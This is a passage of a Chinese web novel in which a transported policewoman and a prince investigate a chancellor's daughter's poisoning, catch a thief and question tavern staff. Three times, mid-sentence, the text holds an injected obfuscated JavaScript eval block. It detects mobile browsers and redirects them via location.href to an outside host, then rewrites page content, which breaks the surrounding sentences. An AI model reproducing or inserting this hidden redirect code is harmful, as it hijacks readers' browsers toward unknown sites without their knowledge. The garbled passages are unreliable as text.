其实她是在做侧写,不过这个她并不精通,是跟自己的师父学过两下,只能简单还原现场,像她师父那种级别的,已经能够代入死者情绪了,她还远远达不到。 容筝还是第一次听到这样的说法,他循着路锦瞳的目光向对面酒楼望过去:“你是怀疑,凶手不在松风阁,而是在对面?” 路锦瞳习惯性地啃指甲,闻言闷闷点头。 “如果凶手是在对面,那宋小姐茶中的毒是谁下的?难道也买通了茶楼中的下人?”容筝顺着往下分析,“不对,这种事情不应该让更多人知道才好。” 路锦瞳点点头:“您忘了,柳絮身上带了大面额的银票。” 容筝恍然:“你的意思是……?” “如果柳絮身上的银票就是有人买通她才给的,那么大胆推测一下,给宋云知下毒的人是否就是柳絮呢?毕竟她是唯一一个近距离接触宋云知并且不会被怀疑的人。”路锦瞳接道。 “所以柳絮的死其实是被灭口?” “有这个可能。” 推测到这里就无法进行下去了,没有更新的线索能串联下去,他们也并没有证据,方才的推论再精彩,也只是猜想。 “先去对面酒楼看看吧。”容筝打破沉默。 路锦瞳点点头,掩上门出来,跟着的下人在后面贴上封条。因为出了命案,茶楼的人都变少了许多,走廊上只有三三两两的人。 途径一间包厢门口时,路锦瞳听到里面传出窃窃的讲话声,门是虚掩着的,看那两人的打扮像是茶楼中的小厮,路锦瞳本着“让我听听这么个事”的好奇缓步凑上去,有时群众中也能带来讯息,他们是茶楼的工作人员,听到的小道消息可比他们多多了。 小厮A:“你看到了吗?那位路家小姐被放出来了,居然还与四皇子一起来了咱们茶楼。” 小厮B:“当日和她一起被抓走的好多人都还没出来,怎么她就先出来了?该不会是有关系吧。” 小厮A:“那可是沈大人,哪来的关系给她走?” “……” 打扰了,原来是在说她啊。路锦瞳不想打扰他们八卦,后撤一步想轻声离开,却没看清路,一脚踢到了门槛上。 这一声并不大,但在这样安静的茶楼,特别是里面的人讲话时鬼鬼祟祟还有提防,就很容易被发现了。那两人看的门口路锦瞳和容筝的脸,吓得脸都白了,行了个礼匆匆忙忙开溜。 容筝走开两步,见路锦瞳还停留在原地,低头不知在干什么。他缓步过去:“怎么了?” 路锦瞳抬起头,她眸中闪动着雀跃:“殿下,我想起当初偷听到那件事的地方长什么样了。你知不知道,谁家有一颗很大的罗汉松?” 容筝蓦地怔住了,他语气迟疑:“你确定,是罗汉松?” 路锦瞳当然确定,她穿来前参与的那起绑架案就在半山腰上,之前研究地形有人特意说过,她就是在一颗罗汉松下遇袭的,这怎么可能记错? 见她点头,容筝好看的眉眼皱起,他让路锦瞳跟她走出几步,寻了个僻静无人的地方,才轻声道:“丞相府。” “哈?”路锦瞳惊了,“你是说宋云知她自己家?” 4. 第 4 章 “你是说宋云知她自己家?”路锦瞳险些没兜住音量。 好在惊讶归惊讶,她还没忘了现下所处何地,即便是惊呼出声,发出的也是气音。路锦瞳左右看了看,确定周围没人后再次道:“真的假的?” 这回她气声都没发出,只张了张口,容筝根据口型读懂了,他点点头:“在京城,府中庭院种有罗汉松的只有丞相府。” 她的记忆不会出错,更别说罗汉松给他的印象那么深,地点是肯定的了。路锦瞳再次从回忆中搜刮,宋云知和原身一起出现在丞相府,那就只有前些日子举办宴会的时候了。 她好像有一点印象。那个时候原身和宋云知已经吵完架了,原身本想回府,却被竹月拦住,路家与丞相府正在做一笔生意,这个时候绝不能撕破脸,竹月劝了又劝,被原身骂了一顿,好歹是将人拦了住。 原身气冲冲的远离了那群贵女,独自在丞相府较为偏僻的花园转悠,丞相最初选府邸时选了个较偏的位置,占地很大,比路府不知道大了多少,周围又全是树和花,景致差不多,原身记性不是特别好,走着走着就有些辨不清方向了,看哪里都像是相似的场景。 “这破地方怎么这么大。”原身不高兴的咕哝,她走得有些累了,正逢看到一处石桌,便到桌边坐着歇息,叫竹月去找路,说不定能碰到府中的下人把她们带出去。 竹月领命离开了,原身坐在石凳上轻轻捶腿,有脚步声由远及近,原身以为是竹月找到人回来了,连忙抬头,却见是宋云知。 宋云知身边也没跟丫鬟,瞧见原身的时候还惊讶了一下,随即臭着脸道:“你在这里干什么?这是丞相府后院,你一个做客的不该来这里。” 原身一向不是个能忍的,哪怕竹月已跟她说过不要招惹宋云知,让两家关系变僵,她也忍不住。当即翻了个白眼:“要不是迷了路,你以为本小姐愿意来这里?” “你也是够蠢的,这么点大的地方都能迷路。”宋云知不甘示弱,她到底还是本性纯善,回过一句嘴后又道:“我带你出去,别在这逗留了,我爹不许外人进来,看到你是要生气的。” 原身“哼”了一声跟在她身后,她不客气道:“我的丫鬟找人问路去了,待会儿你叫人把她带出来找我。” 宋云知皱着眉转头:“路锦瞳,你是在本小姐的府上做客,最好搞清楚自己的身份,少在这装腔拿调的,你信不信我叫我爹断了和你家的往来?” “你!……”原身下意识想反驳回去,可她怕宋云知真的去向丞相告状,如果父亲因为她的莽撞丢了生意,哪怕是再宠爱她也会生气的。原身咬牙切齿的闭上了嘴。 她不甘愿和宋云知挨得太近,赌气的退后了几步,离她远了些。路过一座假山时宋云知突然停下步子,原身以为她是瞧见了熟悉的人,宋云知认识的她不想打交道,便不讲话也靠近,缀在后面等着,踢足下的石子玩。 宋云知不知在发什么呆,一句话都不讲,原身起了好奇心,抬了步子接近,远远瞧过去见她脸色难看,甚至还有些发抖。 原身靠着边走,地上有一堆枯叶和残枝,她没收敛,经过时引起一阵噼里啪啦,宋云知被惊到,猛地扭头看向她,眼底腥红。 这本不是什么大动静,但此时丞相府安静的诡异,如此便清晰可闻,原身被宋云知的表情吓到,停下脚步。她尚是一头雾水,就见宋云知飞一样的跑过来,她一向自持贵女典范,礼仪都是由宫中教习嬷嬷亲自教过的,跑得这样全无礼数还是头一回。 宋云知拽着原身就狂奔,原身不明所以,她的手劲大得出奇,根本无法挣脱开来,原身连回头的机会都没有。她跟着稀里糊涂的跑进一处卧房,扶着桌子大喘气,等砰砰乱跳的心脏恢复正常,身后却传来低低的啜泣声,她回头见宋云知脸色惨白,泪水无知无觉地落下,嘴唇颤抖。 原身不明白究竟发生了什么,宋云知这是怎么了,她在自己府中为何要跑?她往前一步,安慰的话还未出口,宋云知就软软的跌落在地,她喃喃:“怎么会……怎么会?” 难道就是在这个时候宋云知听到了秘密,原身因为离得远并没有听到,但宋云知离开的时候拉着她一起,被追出来的人看到背影,误以为她也听到了。 原身和宋云知独处的时候很少,是这回的可能性很大。而原身也并不傻,不可能在听到这样爆炸性的信息毫无反应,甚至一点记忆都没有,这从逻辑上根本说不通,除非是她压根儿就不知道这回事。 真要说原身听到了什么,她也听到了,宋云知奔出来时,立马好像有一声低喝,有人说“谁?!”,但只有一个字,路锦瞳能记住这个声音,但无法分辨,音色相同的人太多了,京城高官虽少,可一个字根本没什么参考价值。 路锦瞳又忍不住去啃指甲,她道:“殿下,丞相与三皇子殿下关系如何?” “很好,”容筝靠到窗边,“皇兄的母妃宋贵妃,正是宋丞相的妹妹。” “啊……”路锦瞳低下头去,头痛地揉了揉额角。 既然如此,那丞相大约就不会害三皇子了,妹妹的儿子,又是皇子,如果要站队肯定也会偏向三皇子,路锦瞳想不到丞相策划这件事的理由。 如果真是他做的,那宋云知可是他的孩子,他完全可以把宋云知关起来,逼她不能说出去,为何要杀人呢?哪怕是养一条狗也有感情了,这么多年的父女情,不能说断就断吧? 宋云知听到了他们交谈,自己父亲的声音她不可能听不出,如果真和丞相有关,在跟原身想办法的时候,宋云知就不会把自己的父亲当救星了。 更何况在丞相府的假山内交谈,也不一定就必须是丞相本人,有可能是旁的人,比较了解丞相家的布局呢?路锦瞳这么想着,眉头却没松开。 如果真是这样的话,为什么偏偏那个时候丞相府下人走的干干净净,似乎是有人专门把他们支开的呢? 路锦瞳一连想了好几种可能都无法顺畅的进行下去,无奈暂时放弃了。她回过神来,发现自己不知何时蹲在了地上,这姿势不亚于蹲在田埂边上的老汉,不雅观又难看,手指甚至还在地上一点一点,似乎是要将脑子里那几个疑点全部罗列出来一样。 她有些尴尬的站起身,蹲久了腿麻,路锦瞳险些摔倒,容筝跨出一步似乎是想要扶她,却顾及着男女大防还是没出手。路锦瞳身子一歪,像临跌下去的不倒翁一样,手一撑还是站起来了。 她在容筝面前已经出糗了很多回,慢慢也就不介意了,不过该请罪还是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972496|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请罪:“殿下恕罪,我……民女刚刚又失礼了。” 容筝这一天内不知听她讲了多少次“恕罪”,听烦了也习惯了。他好脾气的笑笑:“没关系。你的办案方式与我们不太一样,本宫跟了半日,实在受益匪浅……” 他似乎是还想接着说什么,不知为何顿住,便再也讲不下去,路锦瞳睁大眼等他片刻,什么也没等到,容筝微不可察地叹了口气:“没什么,走吧,还去酒楼看么?” 路锦瞳猜测大约去了酒楼也没什么结果,对方既然要做,肯定什么信息都不会留下。再加上时间已经过去了两天,那间屋子进进出出了好多人,就算有什么可取痕迹也早已不见了。 “还是去看看吧,但我觉得不会有什么有用的信息了。”路锦瞳道,“只能说碰碰运气。” 快要到午时了,街上人比上午多了不少,路锦瞳思索着往酒楼门口挪,有人快速往这边奔来,眼见着就要撞到她,赶在容筝拉开她之前,她步子一错,自己避开了。 这具身体虽然不会功夫,但她的反应力早已刻在了骨子里,刚刚躲避是下意识的,当她反应过来的时候,已经连撤好几步了。 那人风一样的刮过,吹起路锦瞳脸上的帷纱,她眼前一花,被帷纱扑了一脸。紧接着又是一个人追上去,他口中大喊,几乎要疯掉:“抓贼啊!他偷我的钱袋!” 什么!路锦瞳一怔,随即什么开始蠢蠢欲动,身体在脑子还没回过神来的时候像箭似的飞了出去:“站住!抓小偷啊!” 她在现代的时候因为格外喜欢体术,为了保持良好的体力常会练习快跑,跑的多了逐渐找到了诀窍,再加上体重轻,身体轻盈,速度快得如同一道闪电,同事们都叫她“飞毛腿”。 路锦瞳提起碍事的长裙,玩了命的狂奔,帷帽因为她速度过快飞了出去,她也无暇顾及,满眼都是前方跑起来偷感很重的人影。 路锦瞳很快超过了失主,她顺手抄起旁边的一个竹篓斜扔了过去,正好打在那人的膝窝上,窃贼失去平衡扑倒,路锦瞳上前熟练的反剪他双手,又从他衣襟里拽出钱袋。 失主气喘吁吁追上来,他连连道谢:“太感谢了,多谢您……” 后面的话他卡在了喉咙里,他对上了路锦瞳的脸,却见这是个俏生生的姑娘,一下子卡了壳。 场面这番热闹,自然也围了不少的人,他们在看到抓住贼人的居然是个姑娘时,都情不自禁指指点点起来。 “居然是个姑娘,她这是触碰到外男了吧?我刚刚看见了,那个钱袋她是从那人怀里摸出来的!” “她跑得那么快,哪里还有女孩子的样子,看穿着打扮也是大户人家的小姐,怎么一点都没有个淑女的样子?” “一个姑娘家抓什么贼啊,她家里人没有教过她不要在街上抛头露面么?” “这姑娘跑得真快啊。” “……” 人群中传来窃窃私语,他们压根儿就没打算抑制自己的声音,逐渐大声讨论起来,路锦瞳将这些话听进耳中,眉头缓缓皱起了起来。 连那个丢了钱袋的失主都一下子不知道该讲点什么了,他保持了伸出手拿回钱袋的动作,收回去不行,直接伸手接似乎又不对,这么不上不下的卡着,无比尴尬。 5. 第 5 章 最后还是容筝走上来,用腰间配着的一把短匕勾着钱袋上的带子交给失主,他另一只手拿着路锦瞳刚刚跑丢了的帷帽,轻声道:“戴上,我们先离开这里吧。” 路锦瞳做的是好事,这没有错,没有人能因为这个批评她,可这些人能,即便她没有做错什么。 容筝将短匕收回去,他冷声道:“各位慎言。” 皇子们很少会招摇过市,没什么人认识他,群众只瞧见容筝衣饰华贵,周身气度不凡,便觉这人不好惹,纷杂的议论声果真小下去了一半。 路锦瞳接过东西,却没走,她稍稍上前一步,清清嗓子:“我说各位。” 人群的声音慢慢小了,都看向了她。路锦瞳冷声道:“你们这么有力气说教别人,怎么不帮忙抓贼呢?刚刚在这里看热闹看得可还高兴?” 她这么一说,有些人觉得脸上挂不住,纷纷走开了,还有些人嗤之以鼻,却也没再说什么。失主再次道谢后连忙跑开了,都不敢再看路锦瞳的脸。 路锦瞳定定看着他们离开,赌气般的将帷帽随便扣到头上,把早上竹月给她梳好的头发都弄偏了。 容筝在旁边道:“我们去酒楼吧。” 路锦瞳点点头,跟上她的步子,她活动活动身体有些酸麻的肌肉,原身可没有过这么大的运动量,她那么撒丫子跑,身体当然一下子接受不住,现下有些发软。 “他们的话你别放在心上,”容筝说,“也别生气。” “我不生气了。”路锦瞳道。 刚刚是有点生气来着,她只是不太理解为什么那些人不帮忙就算了,居然还好意思指指点点帮了忙的人,难道这边人脸皮都这么厚的么?有些人甚至都在替路家管孩子了,露不露脸和他们有毛线的关系! 气过之后想起现在的处境,以及那堆封建的规矩和思想,又默默无语。 算了,气什么,大环境这样,她只怕是在这里喊破嗓子,别人也只会觉得她叛逆、不服管教,而不会认为她是想打破世俗的枷锁。 方才追上去完全是下意识举动,她可是警察,抓小偷那不是理所应当,哪怕是所处时代不同,职责仍在她心中,这是改不掉的。更何况,即便是今日的事情依旧会发生,甚至更甚,下次遇到同样的事,她还是会这么做。 谁让她是警察呢。 路锦瞳自己把自己安慰好了,快走几步跟上容筝:“我们去把处在茶楼对面所有能看到那间屋子的包厢都看一遍吧,问问小厮,那天上午来过什么人。” 容筝点点头:“他们不会说的吧,如果杀柳絮的人真在对面,为了不让我们得到线索,肯定会买通酒楼的人隐瞒。” 路锦瞳眨眨眼,又想到帷纱厚重,他什么都看不见,干脆放弃了这一“抛媚眼给瞎子看”的举动,她道:“这个是肯定的,不过我们可以去确认一下凶手是否真的是在酒楼动手的。民女听闻殿下曾经跟着办过案子,应该会一些基础的东西,比如说,看微表情之类的。” 容筝道:“你说的有理,就算是什么都寻不到,我们也得去看看,至少能确认些什么。” 路锦瞳追人的时候没注意,现下才发现居然跑出了挺远,她小腿肌肉还有点酸,没忍住抬手摸了摸肚子。 她辛辛苦苦练的肌肉全没了,原身虽然也挺瘦,但腹部还是有些微的小肚子,她的六块腹肌和马甲线呢! 路锦瞳决定了,虽然穿越了,但也不能彻底摆烂,还是要继续进行自己喜欢的事,并且把失去的肌肉练回来!原身家境不错,吃的还有补品什么的都没少过,身体素质嘎嘎棒,加上她勤学苦练的话,虽说不一定能完全达到之前的强度,但四分之三肯定有了。 不求独孤求败,只要可以自保就行,当然,如果能帮助到别人就更好了。 只要不会像刚刚那样,不过跑了几百米就累得不行便好,如果要是这样,将来碰上什么恐怕连逃命都做不到。就好比前些日子在大牢遇袭,但凡她能有前世的一点点功夫,也不会被逼到如此境地。 等路锦瞳把将来的健身计划思考出了一个雏形,他们已经走回酒楼来了。容筝进去给掌柜的看了大理寺的腰牌,掌柜瞳孔一缩,连忙点头哈腰的亲自迎接,带他们去看二楼的所有包厢。 他们着重看了正对面和相邻左右两边的包厢,什么都没有发现。每次客人走了,都会有小厮上来打扫的干干净净,地板干净的能照镜子,想根据鞋印来推测凶手体型的想法也破灭了。 路锦瞳不信邪地把上半个身子探出去,试图从楼外找到什么痕迹,但显然她是做了无用功,就算是凶手要飞檐走壁,也不可能挑白天,光天化日之下掠来掠去。 容筝正与掌柜交谈,向他询问案发当天这几间房有没有来人,什么时候来,又是什么时候走的,长什么样,又是什么打扮。 掌柜思索了半天:“这还真不太清楚,草民也就是在柜前收收银子,接待主要是小厮在做,大人稍等,待我去寻一寻,当日这几间包厢是谁接待的,叫他来回话。” 掌柜匆匆出去,容筝撩袍落座,斟了两杯茶,其中一盏推给路锦瞳,她跑了一上午,正好渴得不行了,之前一直都没好意思说,道过谢伸手接了一口闷,又摸茶壶给自己倒。 容筝就那么看她连喝好几杯,刚开始还是掀开帷帽,后来嫌麻烦,干脆把前面的掀开捋到头上,喝着喝着皱起眉,似乎是嫌杯子小。 ……早就听闻路家千金不拘小节,没想到能豪迈成这样。容筝移开眼:“感觉不太对。” 路锦瞳点头:“他表现的太自然了。” 一点漏洞都没有反而更怪异,路锦瞳可没有错过刚进门容筝拿出腰牌时掌柜眼中一闪而过的恐慌,之后他表现得太镇定了,好像是早就知道他们会找上门来一样。 包括去找小厮问情况,也像是刻意按照剧本来似的,一个掌柜怎么可能对店里不了解,任何包下包厢的都是贵客,掌柜没有印象不可能吧。 他们没有多说,只是对视一眼,分别从对方眼中看出情绪来。掌柜急匆匆过来:“大人,这是阿虎,当天上午他负责的这几个包厢。” 阿虎连忙见礼。 容筝道:“前日辰时左右,这三间包厢都有人么?分别是什么人?” 阿虎挠挠头:“回大人,俺们茶楼生意不错,各种达官显贵都经常来,辰时那会儿正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972497|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客开始多的时候,您稍等等,俺得想一想。” “可以想,”容筝一副很好说话的样子,话锋一转,“但是,宋云知小姐被发现遇害前后不过一炷香时间,消息传播很快,作为宋小姐遇害现场的对面,难道你就没有稍加关注么?” “这……”阿虎转了转眼珠,“当时人群恐慌,俺忙着安抚客人,没注意……” “那你就告诉本官,当时这三间包厢里有没有人。”容筝道。 “好像是有……又好像是没有。”阿虎似是被吓住了,说话也结巴起来,“回……回大人,俺真的记不清了,当时场面太混乱了。” 掌柜在旁边打圆场:“大人,他乡下人,没见过大场面,您别介意。要不这样,草民盯着他,让他好好回忆一下,如果想到了什么重要线索,就去大理寺报告您,您看如何?” 容筝顺着他的台阶下:“行吧,想到了记得过来。” 掌柜好歹送走了这两尊大佛,路锦瞳跟着容筝回到马车里去,她感到有些遗憾,其实当时宋云知出事,周围就应该立马警戒排查的,特别是对面酒楼,因为案发现场开着窗,最有可能看到当时情况的就是对面酒楼,不光二楼,三楼的人也会看到究竟发生了什么,衙门的人应当把对面酒楼的也带回衙门进行询问。 只不过这种情况不太现实,第一,这锅早就已经准备好扣到她头上了,知府大人庞载急着结案,怎么可能再花大功夫去查问;第二,酒楼的掌柜及小厮都被收买,再加上衙门不作为,人可能早就跑了。 其实宋云知的案子很好理解,因为听到了想要谋害皇子的讯息,甚至看到了谈话人是谁,为防秘密被泄露,所以灭口。根据路锦瞳的猜测,凶手很可能是买通了宋云知的贴身丫鬟柳絮,让柳絮因为宋云知对她的不设防下毒,在成功后,柳絮也被灭口。 案件已经完全梳理清楚,似乎只是临门一脚,可这一脚却怎么也踹不破。即便是案件明晰,对于凶手路锦瞳仍没有头绪,想要谋害皇子的人那可太多了,还有好些会牵扯到皇家秘辛,她要怎么查,一个一个的去找容筝问么?有些事情,是她一个普通的商户小姐能知道的么? 她没有看到凶手,只听到了相关之人的一个字,案情又走回了死胡同。路锦瞳一个头两个大,她情不自禁地又像以前一样揉头发,在摸到整齐的发髻时颓然放下——这里可没有能给她梳头的丫鬟,她自己又不会。 就算证明了宋云知是柳絮杀的,那又能如何呢?柳絮只不过是个中间人罢了,真正的凶手另有其人,如果草草结案,宋云知九泉之下也无法瞑目吧。 “路姑娘。”容筝突然喊她。 “嗯?”路锦瞳抬头,她赶忙接道:“殿下有话说?” 容筝神情认真:“等回到衙门后,沈大人可能就把柳絮的事查出来了。” 路锦瞳看着他的眼睛:“什么意思?如果真的印证了我的话,您要把凶手定为柳絮结案吗?” “不是,”容筝摇头,“我想说,只要能确定嫌疑人是柳絮,你的嫌疑就可以完全洗清了,此事就与你无关了。” 他正色:“这件事牵扯太多,你真的要参与进来么?” 6. 第 6 章 路锦瞳一时怔住,容筝的意思是,让她在事情未发展之前及时抽身? 他的劝告没有错,既然敢谋害皇子,幕后之人身份定不会低,路家再有钱,也只是商贾之家,如何能与官员抗衡? 路锦瞳原本就是因为被冤枉才牵扯进来的,之前肯同意让她跟着,那是因为没有证据证明此事与她无关,她仍是嫌疑人,那么就该与其他的嫌疑人有同等待遇。现在案情已明晰,只待查清柳絮之事,就可释放全部嫌疑人,路锦瞳洗清了自己的嫌疑,又不是大理寺成员,理论上不该继续跟下去了。 容筝其实不太愿意放她走,能查到柳絮身上,路锦瞳功不可没,虽尚未进展,但她的能力、以及新奇的办案手法他都看在眼里,若非实在是恐她会因此遇险,他还是非常愿意与路锦瞳共事的。 办案是紧要没错,但无辜之人并不该为此受累,他不能因为自己的私心害了人。 容筝再次道:“沈大人若能查出柳絮有亲人,并且莫名收到大量金银的话,就差不多能验证之前的猜测了,之后只需找到人证或物证就能断定。你先在那间客栈住上几日,好好养伤,之后统一释放时你也可以回家,期间本宫会派人把守客栈,保护你的安全。” 路锦瞳沉默。 若换作以前的她,那根本等不到容筝讲完就会应承下来。她喜欢办案,特别是这种大案要案,哪怕涉及到官员也无所谓,她喜欢追求刺激,越复杂干劲越足,这样的案子那是在现代无法遇到的,天知道她有多想参与进去。 路锦瞳的父母在她很小的时候就离婚了,她一直都是跟着爸爸,妈妈再嫁,并且又生了小孩,母女俩相处的时间很少,一年大约都打不了十次电话。十五岁那年,爸爸出任务殉职,家里的亲戚刚开始还会问两句,后面就都不管了。 路锦瞳拒绝了所有的帮助,独自一人生活,靠着爸爸从前留下的存款考上警校,也成为了一名刑警。她每一次都是全力以赴,因为她没有牵挂的人,即便是树敌,也不会有人被她连累。 但现在不一样了,原身的父母都健在,如果她追查下去,惹了幕后之人不快,他们转而去对付原身的父母怎么办呢?她占用了原身的一切,不能连她的父母都无法保护吧? 可是,这样真的能就此结束么? 见她不说话,容筝也不知改说什么,只能道:“本宫叫车夫送你回客栈。” “不,”路锦瞳突然道,她抬头看向容筝,“殿下,我要留下来,无论背后是什么人,他又会因为阻挠我查案做什么,我都不怕,我要加入。” “无论我是否退出,既然幕后之人认定我也听到了,就绝对不会放过我,届时无法从殿下的护卫中下手,一定会用父母威胁,既然如此,还不如干脆揪出他们以绝后患。”路锦瞳满眼认真,“殿下也说了,赏识我的能力,那还请殿下继续用我,如果您嫌我名不正言不顺,大不了我去考大理寺的职位,大周没有女人不许考官的律例吧?” 容筝有些目瞪口呆,大周是没有这种律例,可也没有先例啊。女子出门都要家里人同意,怎么可能会被准许去考官? 早就听闻路锦瞳的母亲陆氏跟随路钊走南闯北做生意,是女性中的楷模,没想到女儿相比起来也不遑多让。 容筝无奈摇头:“考官倒是不必,不过你说的有理,既然这样,那你就继续帮忙,本宫会派人保护你父母的安全。只是要再问你一次,不后悔?” “当然。”路锦瞳道,宋云知无辜,岂能白死任由真凶逍遥法外?她反正不能看着这样的事情发生。 容筝由衷佩服她的勇气,他所认识的女子大多都在闺阁中,路锦瞳这样的还真没怎么见过,也有一些和她同样聪明的,只是不把自己的才智用在正确地方,反倒总是互相争斗,为了利益扯来扯去。 他还有些怔然,忍不住问:“你有考官职的想法?” 路锦瞳本也就是随口一说,她现在不是自己能做主的时候了,究竟要如何还得问问原身父母的意见,若是不同意了那就再说,同意了也再说,恐怕过程复杂,不是朝夕之间便能决定的。 这么想着,她点点头:“是的,大理寺不会不收女的吧?” 容筝敛下眉眼:“大理寺不会,大周律例也没有不许女子做官。只是,你如果真的这么决定了,可要做好叫人说的准备,只有寻常人家女人才会出门做活抛头露面,贵女中从未有人如此这般,你可知你母亲……” 他说到这里说不下去,只低低道了声“抱歉”。 路锦瞳知道他想说什么,原身父母都是从商的,母亲更是从小在边塞长大,那里民风比这边开放多了,没有那么多条条框框,所以她嫁入中原后也依旧我行我素的出门做生意,大家不明着讲她的小话,暗地里却要说个不停。原身从前和人打过架,就是因为那人说她的母亲不检点,整日里抛头露面,没见过那样的女人。 如此她更欣赏原身的母亲,在这些人的言语攻击下居然还能坚持出门跑生意,可见内核多么强大,那么作为她的女儿,路锦瞳也不能差。 “那有什么,既然不禁止,我就可以试试咯,”路锦瞳一脸的无所谓,“总不能什么都在意旁人的想法吧?如果他们觉得我不该吃饭,我还能饿死不成?” 容筝便笑:“你做了决定,本宫自不会拦你,如果有什么需要帮忙的,可以随时叫人去府上找。” 路锦瞳又趁机问了一些考大理寺职位的问题以及需要准备什么,容筝一一解答,聊着聊着就回了大理寺。路锦瞳随着他下车,沈知安早已等在大殿,见他们进来,连忙向容筝作揖,随后道:“殿下,查出来了,下官派人去丞相府问询,有与柳絮相熟的丫鬟说,柳絮最近有个舅舅要进京来看她,似乎就是这两日,已经安排下去让人在城门处把守,若有寻人的上前去打探消息。” “嗯。”容筝道,“还有旁的么?” “去搜柳絮住处的人回来报,目前没有找到什么东西,金银及银票都没有。”沈知安道。 “所有角落都找了?” “是,哪里都没有放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972498|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,什么都没有。” 容筝沉默下来,难道柳絮今日身上带着的银票就是全部了? “先前可能是我猜错,”路锦瞳上前两步,“也许柳絮当日并没有见收买她的人,她也许是早些日子就接到了命令。她侍奉宋云知已久,不可能当天找她就同意,总要有个几天的犹豫时间。” “有理,”沈知安捋捋袖子,“若是这样,那为什么会在她身上搜出银票,那么大一笔钱……难道说,她当日出去就是为了和她舅舅会面,把钱交给他?” “也有可能是要一起逃跑,她杀了人,迟早会查到她的身上去,更何况,作为身边最亲近的侍候之人,她一定会接受问讯,也许是怕自己露出破绽想要逃跑?”容筝接。 堂中安静下来,面上皆是思索神色,许久后沈知安才说话:“可是她的卖身契还在,就算是逃了又能如何呢?没有释奴文书,岂不是什么也做不成,她身上并没有携带释奴文书啊。” 一定还有遗漏的地方。路锦瞳摩挲下巴:“假设她真的打算拿着银票和舅舅离开京城,那就肯定会拿释奴文书。收买她的人既然要让她杀人,那就必须开出足够吸引人的条件,不可能只用钱收买,对于奴仆来说,自由身才是最重要的,否则她拿了那些钱也无法光明正大的花出去。” “按照这个假设推断,柳絮当日给自己预定的的行动轨迹就是跟随宋云知去茶楼与我碰面,在宋云知毒发时向茶楼对面的人传递已成功的消息。”路锦瞳抱臂,“在那之后她会找借口离开包厢,快速与舅舅会合,也可能会换个装扮让人认不出她,随后尽快找车离开京城。” 按照这样推测的话,柳絮并没有给自己留回丞相府拿释奴文书的时间,可能幕后之人在收买她时就已经提前给了,也有可能并没有给,而是答应柳絮在成功投毒离开茶楼后再碰面交给她。 等等,路锦瞳突然抬头:“大周的释奴文书,是不是一共有两份?” “是,”沈知安回答她,“主家一份,下人一份,双方都要保管好,若归还奴仆自由身,主家则需要把自己手里的文书给奴仆,奴仆只有拥有两份释奴文书才能算是真正得到自由身,一般情况下,如果得了自由身要去别处上工,都要出示释奴文书证明脱离奴籍才行。” 路锦瞳神色激动:“如果是这样的话,那么柳絮身上一定会有文书,可能不是两份,只有一份。但是只要找到那一份,就能确定我们之前的推测全部正确,虽然我们一直在查柳絮,将主要嫌疑放在了她的身上,但这仅仅只是因为在她身上搜出了大面额银票而已,还不足以将全部的嫌疑给她,在之后也无法定罪。” 沈知安点点头:“姑娘说得对,一定是还有遗漏,本官这便让老徐继续查柳絮的衣物,找出释奴文书,若你有时间,也可以跟着一起看看。” 路锦瞳赶忙答应:“好。” 她足尖一转就要再回验尸房去,一名衙役飞速奔来,险些与她撞上,那人惊慌道:“不好了大人!” “城郊外发现一具尸体。” 7. 第 7 章 “又一具?”沈知安忙道,“带本官去现场。” 他回头看向容筝和路锦瞳:“殿下,路姑娘,你们继续查柳絮的事情,下官先去看看,之后我们再细聊。” 容筝点点头,让他先下去了。路锦瞳虽也想跟着去看,但还是没张口,完全不同的两起案子,这个能跟是因为她也牵涉其中,另一个又和她没什么关系,就不必去瞎掺和了。 她仗着帷纱厚重旁人看不到她的脸,十分颓然的做了个不开心的表情,接着就要往验尸房的方向过去,容筝赶忙拦她:“路姑娘,不如你稍作休息一下,要到午饭时间了,吃个午饭再去。你的伤还未好,不宜劳累奔波,本宫先去看看,回来告诉你情况如何,你看行吗?” 路锦瞳一怔,她完全沉迷到案件中去了,容筝这么一说,她才察觉到颈上的伤口还在痛,每次开口都伴随着强烈的疼痛,刚开始还有些不适,后面说多了她已经把难受抛诸脑后了。 只是容筝的这个提议她不太敢答应,让领导去工作她吃饭么?更何况这还不是领导,是比领导更厉害的,路锦瞳好歹也在职场上混迹了好几年,这些道理还是懂的,当下连忙拒绝:“不了不了,殿下,民女不饿,也没有觉得哪里不舒服,什么事都没有,我们去看吧。” 容筝却不太行:“不管怎么样都该先吃饭,吃饭又费不了多少功夫。” 路锦瞳恳切道:“殿下,您先让民女去看吧,若是不能先看到并及时了解情况的话民女才会不舒服呢。你瞧着,民女的脖子开始痛了,一说吃饭民女就痛……” 